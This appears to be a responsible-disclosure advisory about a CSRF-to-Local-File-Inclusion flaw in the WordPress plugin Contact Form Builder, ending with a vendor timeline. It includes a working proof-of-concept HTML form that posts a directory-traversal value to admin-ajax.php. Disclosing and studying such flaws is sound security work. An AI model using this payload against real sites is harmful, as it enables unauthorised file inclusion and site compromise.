Contact Form Builder [CSRF → LFI]

Contact Form Builder suffers for a CSRF issue that could lead to a Local File Inclusion attack.


Plugin implements the following AJAX actions:

  • ContactFormMakerPreview
  • ContactFormmakerwdcaptcha
  • nopriv_ContactFormmakerwdcaptcha
  • CFMShortcode

All of them call the function contact_form_maker_ajax. This function dynamicaly loads a file defined in $_GET['action'] or $_POST['action'] if the former is not defined. Because of the way WordPress defines the AJAX action a user could define the plugin action in the $_GET['action'] and AJAX action in $_POST['action']. Leveraging that and the fact that no sanitization is performed on the $_GET['action'], a malicious actor can perform a CSRF attack to load a file using directory traversal thus leading to Local File Inclusion vulnerability.


<form method="post" action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=/../../../../../../index">
    <label>AJAX action:
        <select name="action">
                <option value="ContactFormMakerPreview">ContactFormMakerPreview</option>
                <option value="ContactFormmakerwdcaptcha">ContactFormmakerwdcaptcha</option>
                <option value="nopriv_ContactFormmakerwdcaptcha">nopriv_ContactFormmakerwdcaptcha</option>
                <option value="CFMShortcode">CFMShortcode</option>
    <button type="submit" value="Submit">Submit</button>

  • 2019-03-17:
  • 2019-03-17:
    Vendor notified through contact form on
  • 2019-03-18:
    Vendor responded
  • 2019-03-20:
    Patch released (incomplete)
  • 2019-03-20:
    Notified vendor about the incomplete patch
  • 2019-03-22:
    Vendor responded that they will include a CSRF protection in a "future upgrade"